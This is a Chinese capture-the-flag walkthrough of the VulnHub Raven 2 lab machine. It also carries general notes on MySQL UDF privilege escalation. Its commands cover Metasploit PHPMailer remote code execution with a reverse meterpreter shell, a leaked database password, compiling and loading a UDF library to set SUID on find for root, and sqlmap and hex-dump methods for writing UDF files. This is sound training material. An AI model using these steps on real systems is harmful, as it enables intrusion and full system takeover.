难度:中等,目标是需获取四个flag,下载ova文件,本文使用VirtualBox打开,下载地址:https://www.vulnhub.com/entry/raven-2,269/。本文涉及知识点有:靶机环境搭建,dirsearch工具使用,DS_Store信息泄露漏洞,wpscan使用,利用PHPMailer命令执行漏洞获取shell,UDF提权。。
靶机地址:192.168.56.107
kali地址:192.168.56.108
1)选择管理—导入虚拟机电脑。
2)选择RAVEN: 2下载的文件路径。
3)选择导入安装到一个空白的文件夹。
4)选择主机网络管理器。
5)选择手动配置网卡。
6)选择启用并配置DHCP服务器。
7)靶机和kali的网卡1都设置成仅主机模式。
8)kali的网卡2设置成NAT模式,因为有的时候会有联网的需求。
1)使用nmap扫描网段获取目标ip地址,发现192.168.56.107,确定为靶机地址。注释:192.168.56.100是本机设置的DHCP服务器的ip。
# -sn 只做ping扫描,不做端口扫描
# -PE 使用icmp协议请求包发现主机
# -n 不进行反向DNS解析
nmap -sn -PE -n 192.168.56.0/24
nmap -A -T4 -p- 192.168.56.107
3)先访问80端口使用dirsearch做目录扫描,然后四处点击看看,点击到BLOG时跳转到了WordPress界面,记一下。
4)目录扫描结果如下所示。发现很多目录,逐个查看下。
5)在http://192.168.56.107/vendor/目录下发现存在目录遍历漏洞,文件点点点,在PATH文件中发现了第一个flag。
6)又在readme文件中发现了PHPMailer字眼,从VERSION文件中可知版本为5.2.16,经搜索后发现PHPMailer是一个用于发送电子邮件的PHP函数包。直接用PHP就可以发送,无需搭建复杂的Email服务。并且存在远程命令执行漏洞,在记一下,一会测试下是否存在历史漏洞。
7)还发现了.DS_Store信息泄露,但是没有什么有效信息。利用工具地址:https://github.com/lijiejie/ds_store_exp。
8)http://192.168.56.107/wordpress/wp-login.php,发现WordPress登录界面,发现提示找不到网站。
9)使用wpscan漏扫工具检测一下是否存在WordPress的历史漏洞。wpscan为kali内置的工具,需注意wpscan需联网才能使用。可以发现找到不少信息,但是没有什么能获取权限的。
10)再看看之前收集到的PHPMailer信息,网络搜索看看PHPMailer是否存在历史漏洞,发现存在,使用MSF搜索一下,有两个我们在按照提示使用info 0 和info 1 分别查看下描述情况。发现第一个就适合,我们之前发现此时的版本为5.2.16正好小于5.2.18
search phpmailer
info 0
use 0
11)利用一下,看下需要设置什么。
12)对比百度的教程,按照需求配置参数,先配置靶机的ip和邮箱功能页面和绝对路径,在查看设置可以发现kali反弹shell的ip是10的网段,因为是双网卡,所以我们把反弹shell的ip设置成192.168.56.107这个。之后在就配置完成了,端口都默认就好了。
options
set RHOSTS 192.168.56.107 #靶机地址
set TARGETURI /contact.php #邮件功能页面
set WEB_ROOT /var/www/html #网站绝对路径
set payload php/meterpreter/reverse_tcp #设置payload
set LHOST 192.168.56.108 #kali地址
run
13)复制YNz20r0P.php拼接在URL后然后访问,即可成功反弹shell,但是很慢!
http://192.168.56.107/YNz20r0P.php
14)在/var/www路径下可以看到flag2.txt文件
15)metrtpreter命令使用不方便,我们直接切换成shell形式。然后全盘搜素flag,又找到了flag3,可以发现是一个图片我们直接拼接路劲访问。
find ./ -name "flag*"
http://192.168.56.107/wordpress/wp-content/uploads/2018/11/flag3.png
python -c 'import pty; pty.spawn("/bin/bash")'
find ./ -name "*fig*"
18)在wp-config.php文件中发现了mysql的数据库账号密码为:root/R@v3nSecurity。
cat html/wordpress/wp-config.php
mysql -uroot -pR@v3nSecurity
1)MYSQL低于5.5的漏洞可以使用UDF提权,查看mysql的运行权限。发现是mysqld是root权限,查看secure_file_priv的设置发现为空,满足udf提权。
ps -aux|grep mysql #查看mysql的运行权限
select version(); #查看mysql版本
select @@basedir; #确认mysql安装位置
show variables like '%basedir%'; #确认mysql安装位置
show variables like '%secure%'; #查看可导出文件位置
2)MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。sqlmap 和 Metasploit 里面都自带了对应系统的动态链接库文件。查看插件位置为:/usr/lib/mysql/plugin/,Windows的话还需查看操作系统版本。
show variables like '%plugin%'; #查找插件位置
show variables like '%compile%'; #查看系统版本
3)通过以上信息可知满足udf提权,直接利用1518进行提权,先搜索1518.c,然后查看其所在位置,并复制到方便操作的目录。我是新建了一个目录也可以直接复制到桌面。
searchsploit 1518.c #搜索1518.c
locate 1518.c #查看下本地所存放路径
cp /usr/share/exploitdb/exploits/linux/local/1518.c . #复制到当前所在文件夹
#参数:-g 生成调试信息
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
-o:执行命令后的文件名
-lc:-l 库 c库名
-Wl选项告诉编译器将后面的参数传递给链接器。
-soname则指定了动态库的soname(简单共享名,Short for shared object name)
gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.c -lc
5)将该“.so”文件传输到靶机上的/tmp目录下。在kali上使用python开启http服务,在获取的shell中,切换到tmp目录下,并使用wget命令下载1518.so文件。
6)再次登录mysql,并使用一下命令创建自定义函数。
# 连接mysql数据库
mysql -uroot -pR@v3nSecurity
# 使用mysql数据库
use mysql;
# 创建foo表
create table foo(line blob);
# 往foo表中插入二进制的1518.so
insert into foo values(load_file('/tmp/1518.so'));
# 导出1518.so
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
# 创建do_system自定义函数
create function do_system returns integer soname '1518.so';
# 调用do_system函数给find命令所有者的suid权限,使其执行root
select do_system('chmod u+s /usr/bin/find');
# 导入成功后可查看一下 mysql 函数里面是否新增了do_system:
select * from mysql.func;
7)利用find命名执行whoami,发现当前为root权限。
find 11 -exec "whoami" \;
find 11 -exec "/bin/sh" \;
8)利用find命令获取root权限的shell并查找flag4.。
1)mysql配置文件secure_file_priv项设置为空,(如果为NULL或/tmp/等指定目录,即无法自定义udf文件导出位置,则无法利用)。
2)CREATE权限、FILE权限(root用户默认拥有所有权限)。
3)Linux系统需要plugin目录的写入权限。
4)Linux环境下的UDF提权大概率仅限于靶场环境中,原因:在Linux严格的系统权限下,mysql用户或web用户无plugin目录的写入权限。
# 查看当前数据库用户权限
select * from mysql.user where user = substring_index(user(), '@', 1)\G;
1)在Windows中Mysql一般以System权限执行。故UDF提权漏洞出现原因,主要是因为root用户密码泄露,弱密码等,或者是普通用户有对plugin等文件夹有写权限。
2)Linux环境下Mysql的主程序mysqld一般以独立账号mysql运行,而守护程序mysqld_safe才是以root权限。所以说Linux下UDF提权出现的机会比较少,只有当mysqld进程是root执行的时候才会出现udf提权。
3)MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。一般sqlmap 和 Metasploit 里面都自带了对应系统的动态链接库文件。不过sqlmap 中自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。但是可以利用 sqlmap 自带的解码工具 cloak.py 来解码使用。
4)sqlmap 的 UDF 动态链接库文件位置:
sqlmap根目录/data/udf/mysql
/extra/cloak/cloak.py
# 解码 32 位的 Linux 动态链接库
python3 cloak.py -d -i ../../data/udf/mysql/linux/32/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_32.so
# 解码 64 位的 Linux 动态链接库
python3 cloak.py -d -i ../../data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_64.so
# 解码 32 位的 Windows 动态链接库
python3 cloak.py -d -i ../../data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll
# 解码 64 位的 Windows 动态链接库
python3 cloak.py -d -i ../../data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll
5)Metasploit 的 UDF 动态链接库文件位置:
sqlmap根目录/data/udf/mysql
Metasploit 自带的动态链接库文件无需解码,直接就可以使用。
1)下面就是把 UDF 的动态链接库文件放到 MySQL 的插件目录下,登录MySQL的情况下可以用MySQL语句查询。
show variables like '%plugin%';
2)如果不存在的话可以在 webshell 中找到 MySQL 的安装目录然后手工创建 \lib\plugin 文件夹。通过select @@basedir;语句可查找到MySQL的安装目录。
select 233 into dumpfile 'C:\\PhpStudy\\PHPTutorial\\MySQL\\lib\\plugin::$index_allocation';
3)存在lib\plugin目录且有webshell时,直接上传udf文件。存在lib\plugin目录但没有webshell时,则需要以16进制编码写入udf文件。
1)写入动态链接库可以分为下面几种情形,第一种为:SQL 注入且是高权限,plugin 目录可写且需要 secure_file_priv 无限制,MySQL 插件目录可以被 MySQL 用户写入,这个时候就可以直接使用 sqlmap 来上传动态链接库,又因为 GET 有字节长度限制,所以往往 POST 注入才可以执行这种攻击。
# --file-write=本地文件路径
# --file-dest 写入目标路径
sqlmap -u "http://localhost:30008/" --data="id=1" --file-write="/Users/sec/Desktop/lib_mysqludf_sys_64.so" --file-dest="/usr/lib/mysql/plugin/udf.so"
2)没有注入的话可以操作原生 SQL 语句,这种情况下当 secure_file_priv 无限制的时候,我们也是可以手工写文件到 plugin 目录下的。
# 直接 SELECT 查询十六进制写入
SELECT 0x7f454c4602... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
可以利用 MySQL 自带的 hex 函数来获取十六进制。
# 直接传入路径编码
SELECT hex(load_file('/lib_mysqludf_sys_64.so'));
# 也可以将路径 hex 编码
SELECT hex(load_file(0x2f6c69625f6d7973716c7564665f7379735f36342e736f));
3)如遇到这个错误,可能是因为使用 lib_mysqludf_sys_64.dll 失败了,使用 lib_mysqludf_sys_32.dll 就会成功,所以这里的 dll 应该和系统位数无关,可能和 MySQL 的安装版本有关系,而 PHPStudy 自带的 MySQL 版本是 32 位的。
ERROR 1126 (HY000): Can't open shared library 'udf.dll' (errno: 193 )
1)在MySQL中可以使用以下命令,
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
2)导入成功后查看一下 mysql 函数里面是否新增了 sys_eval。
select * from mysql.func;
3)之后就可以通过创建的这个函数来执行系统命令了。如果在 Windows 系统下的话应该就是最高权限了。
select sys_eval('whoami');
1)在MySQL中使用以下命令删除自定义函数。
drop function sys_eval;